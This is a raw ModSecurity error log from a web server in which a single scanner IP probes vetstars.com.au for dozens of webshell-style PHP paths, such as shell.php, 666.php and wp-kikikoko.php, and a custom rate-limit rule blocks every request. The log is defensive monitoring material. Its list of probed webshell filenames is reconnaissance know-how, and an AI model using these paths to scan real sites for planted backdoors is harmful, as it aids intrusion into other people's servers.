[Sat Apr 25 01:07:01.630400 2026] [:error] [pid 42852:tid 42876] [client 51.107.77.218:64722] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/166.php"] [unique_id "aeujNTMEwxhhak_EhMKKVwAAAlU"]
[Sat Apr 25 01:07:03.167556 2026] [:error] [pid 42852:tid 42868] [client 51.107.77.218:64760] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/term.php"] [unique_id "aeujNzMEwxhhak_EhMKKXQAAAk0"]
[Sat Apr 25 01:07:04.109047 2026] [:error] [pid 14989:tid 15002] [client 51.107.77.218:5426] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/term.php"] [unique_id "aeujOHhRYjsAsZTO4EOPKgAAAAs"]
[Sat Apr 25 01:07:05.442928 2026] [:error] [pid 42852:tid 42864] [client 51.107.77.218:5570] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/term.php"] [unique_id "aeujOTMEwxhhak_EhMKKZQAAAkk"]
[Sat Apr 25 01:07:07.115647 2026] [:error] [pid 42852:tid 42879] [client 51.107.77.218:64756] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/term.php"] [unique_id "aeujOzMEwxhhak_EhMKKbQAAAlg"]
[Sat Apr 25 01:07:07.775591 2026] [:error] [pid 14989:tid 15013] [client 51.107.77.218:65180] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aeujO3hRYjsAsZTO4EOPMwAAABY"]
[Sat Apr 25 01:07:08.725100 2026] [:error] [pid 14989:tid 15012] [client 51.107.77.218:5484] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aeujPHhRYjsAsZTO4EOPNwAAABU"]
[Sat Apr 25 01:07:11.005603 2026] [:error] [pid 42852:tid 42876] [client 51.107.77.218:5621] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aeujPzMEwxhhak_EhMKKeQAAAlU"]
[Sat Apr 25 01:07:12.074736 2026] [:error] [pid 42852:tid 42866] [client 51.107.77.218:65189] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aeujQDMEwxhhak_EhMKKfQAAAks"]
[Sat Apr 25 01:07:14.155099 2026] [:error] [pid 42755:tid 42760] [client 51.107.77.218:5461] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tt.php"] [unique_id "aeujQtH7__k0j6aa600A4AAAAIM"]
[Sat Apr 25 01:07:15.990780 2026] [:error] [pid 14989:tid 15008] [client 51.107.77.218:5431] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tt.php"] [unique_id "aeujQ3hRYjsAsZTO4EOPPwAAABE"]
[Sat Apr 25 01:07:17.087833 2026] [:error] [pid 14989:tid 14991] [client 51.107.77.218:64717] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tt.php"] [unique_id "aeujRXhRYjsAsZTO4EOPRAAAAAA"]
[Sat Apr 25 01:07:19.037545 2026] [:error] [pid 42792:tid 42826] [client 51.107.77.218:5475] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tt.php"] [unique_id "aeujR9Ni9qR4GtafpfHU2QAAAgQ"]
[Sat Apr 25 01:07:20.449763 2026] [:error] [pid 14989:tid 14997] [client 51.107.77.218:65164] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "aeujSHhRYjsAsZTO4EOPVwAAAAY"]
[Sat Apr 25 01:07:22.542876 2026] [:error] [pid 14989:tid 15002] [client 51.107.77.218:64247] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "aeujSnhRYjsAsZTO4EOPYwAAAAs"]
[Sat Apr 25 01:07:23.912376 2026] [:error] [pid 14989:tid 15008] [client 51.107.77.218:64205] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "aeujS3hRYjsAsZTO4EOPZQAAABE"]
[Sat Apr 25 01:07:24.995597 2026] [:error] [pid 42852:tid 42858] [client 51.107.77.218:5385] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "aeujTDMEwxhhak_EhMKKnQAAAkM"]
[Sat Apr 25 01:07:51.158819 2026] [:error] [pid 14989:tid 15004] [client 51.107.77.218:63657] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aeujZ3hRYjsAsZTO4EOPnwAAAA0"]
[Sat Apr 25 01:07:51.983250 2026] [:error] [pid 42755:tid 42781] [client 51.107.77.218:65182] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aeujZ9H7__k0j6aa600A9AAAAJg"]
[Sat Apr 25 01:07:52.854446 2026] [:error] [pid 14989:tid 15011] [client 51.107.77.218:63641] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aeujaHhRYjsAsZTO4EOPogAAABQ"]
[Sat Apr 25 01:07:53.763087 2026] [:error] [pid 14989:tid 14999] [client 51.107.77.218:5616] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aeujaXhRYjsAsZTO4EOPqQAAAAg"]
[Sat Apr 25 01:07:54.517774 2026] [:error] [pid 42792:tid 42843] [client 51.107.77.218:5486] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-png.php"] [unique_id "aeujatNi9qR4GtafpfHVIAAAAhU"]
[Sat Apr 25 01:07:55.059580 2026] [:error] [pid 42791:tid 42802] [client 51.107.77.218:63633] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-png.php"] [unique_id "aeuja7KmN9doraCEWKXoAAAAAcc"]
[Sat Apr 25 01:07:55.738486 2026] [:error] [pid 42755:tid 42772] [client 51.107.77.218:64742] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-png.php"] [unique_id "aeuja9H7__k0j6aa600A-QAAAI8"]
[Sat Apr 25 01:07:56.487792 2026] [:error] [pid 42755:tid 42758] [client 51.107.77.218:5398] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-png.php"] [unique_id "aeujbNH7__k0j6aa600A-wAAAIE"]
[Sat Apr 25 01:07:57.249500 2026] [:error] [pid 14989:tid 14998] [client 51.107.77.218:5451] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aeujbXhRYjsAsZTO4EOPtgAAAAc"]
[Sat Apr 25 01:07:58.074525 2026] [:error] [pid 14989:tid 15005] [client 51.107.77.218:5586] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aeujbnhRYjsAsZTO4EOPuwAAAA4"]
[Sat Apr 25 01:07:59.136912 2026] [:error] [pid 42755:tid 42780] [client 51.107.77.218:5499] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aeujb9H7__k0j6aa600BAwAAAJc"]
[Sat Apr 25 01:07:59.872997 2026] [:error] [pid 42792:tid 42823] [client 51.107.77.218:5625] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aeujb9Ni9qR4GtafpfHVLAAAAgE"]
[Sat Apr 25 01:08:00.572393 2026] [:error] [pid 42755:tid 42775] [client 51.107.77.218:64152] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugin-install.php"] [unique_id "aeujcNH7__k0j6aa600BBwAAAJI"]
[Sat Apr 25 01:08:01.398536 2026] [:error] [pid 42755:tid 42762] [client 51.107.77.218:5398] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugin-install.php"] [unique_id "aeujcdH7__k0j6aa600BCgAAAIU"]
[Sat Apr 25 01:08:02.638278 2026] [:error] [pid 42755:tid 42757] [client 51.107.77.218:64229] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugin-install.php"] [unique_id "aeujctH7__k0j6aa600BEgAAAIA"]
[Sat Apr 25 01:08:03.515297 2026] [:error] [pid 42791:tid 42815] [client 51.107.77.218:5463] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugin-install.php"] [unique_id "aeujc7KmN9doraCEWKXoBQAAAdQ"]
[Sat Apr 25 01:08:04.257189 2026] [:error] [pid 42755:tid 42776] [client 51.107.77.218:5582] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aeujdNH7__k0j6aa600BFgAAAJM"]
[Sat Apr 25 01:08:05.279882 2026] [:error] [pid 42791:tid 42803] [client 51.107.77.218:5575] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aeujdbKmN9doraCEWKXoCAAAAcg"]
[Sat Apr 25 01:08:06.802717 2026] [:error] [pid 42792:tid 42834] [client 51.107.77.218:5458] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aeujdtNi9qR4GtafpfHVQQAAAgw"]
[Sat Apr 25 01:08:08.957993 2026] [:error] [pid 42791:tid 42802] [client 51.107.77.218:5422] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aeujeLKmN9doraCEWKXoDQAAAcc"]
[Sat Apr 25 01:08:10.158072 2026] [:error] [pid 14989:tid 14994] [client 51.107.77.218:64227] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-kikikoko.php"] [unique_id "aeujenhRYjsAsZTO4EOPywAAAAM"]
[Sat Apr 25 01:08:12.180279 2026] [:error] [pid 42791:tid 42815] [client 51.107.77.218:64210] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-kikikoko.php"] [unique_id "aeujfLKmN9doraCEWKXoFAAAAdQ"]
[Sat Apr 25 01:08:13.726949 2026] [:error] [pid 42852:tid 42873] [client 51.107.77.218:64747] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-kikikoko.php"] [unique_id "aeujfTMEwxhhak_EhMKLFQAAAlI"]
[Sat Apr 25 01:08:14.729757 2026] [:error] [pid 42755:tid 42778] [client 51.107.77.218:5590] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-kikikoko.php"] [unique_id "aeujftH7__k0j6aa600BJgAAAJU"]
[Sat Apr 25 01:08:15.458868 2026] [:error] [pid 14989:tid 15008] [client 51.107.77.218:63629] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "aeujf3hRYjsAsZTO4EOP5wAAABE"]
[Sat Apr 25 01:08:16.586000 2026] [:error] [pid 42852:tid 42864] [client 51.107.77.218:5577] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "aeujgDMEwxhhak_EhMKLGwAAAkk"]
[Sat Apr 25 01:08:17.317572 2026] [:error] [pid 42792:tid 42827] [client 51.107.77.218:63651] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "aeujgdNi9qR4GtafpfHVVQAAAgU"]
[Sat Apr 25 01:08:18.026940 2026] [:error] [pid 42792:tid 42830] [client 51.107.77.218:5613] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "aeujgtNi9qR4GtafpfHVVwAAAgg"]
[Sat Apr 25 01:08:19.175084 2026] [:error] [pid 42792:tid 42841] [client 51.107.77.218:5502] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aeujg9Ni9qR4GtafpfHVXQAAAhM"]
[Sat Apr 25 01:08:20.435447 2026] [:error] [pid 14989:tid 14994] [client 51.107.77.218:5383] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aeujhHhRYjsAsZTO4EOP8wAAAAM"]
[Sat Apr 25 01:08:21.053681 2026] [:error] [pid 42852:tid 42855] [client 51.107.77.218:63628] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aeujhTMEwxhhak_EhMKLLgAAAkA"]
[Sat Apr 25 01:08:21.841492 2026] [:error] [pid 42792:tid 42843] [client 51.107.77.218:64753] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aeujhdNi9qR4GtafpfHVYgAAAhU"]
[Sat Apr 25 01:08:22.586562 2026] [:error] [pid 42852:tid 42878] [client 51.107.77.218:64761] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aeujhjMEwxhhak_EhMKLMgAAAlc"]
[Sat Apr 25 01:08:23.286052 2026] [:error] [pid 42852:tid 42862] [client 51.107.77.218:64198] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aeujhzMEwxhhak_EhMKLNAAAAkc"]
[Sat Apr 25 01:08:24.113823 2026] [:error] [pid 14989:tid 14995] [client 51.107.77.218:5628] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aeujiHhRYjsAsZTO4EOP-wAAAAQ"]
[Sat Apr 25 01:08:25.253030 2026] [:error] [pid 14989:tid 15008] [client 51.107.77.218:64757] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aeujiXhRYjsAsZTO4EOP_QAAABE"]
[Sat Apr 25 01:08:25.932959 2026] [:error] [pid 42852:tid 42878] [client 51.107.77.218:64656] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aeujiTMEwxhhak_EhMKLOQAAAlc"]
[Sat Apr 25 01:08:26.949347 2026] [:error] [pid 42791:tid 42810] [client 51.107.77.218:63636] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aeujirKmN9doraCEWKXoMwAAAc8"]
[Sat Apr 25 01:08:28.308730 2026] [:error] [pid 42791:tid 42795] [client 51.107.77.218:5442] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aeujjLKmN9doraCEWKXoNgAAAcA"]
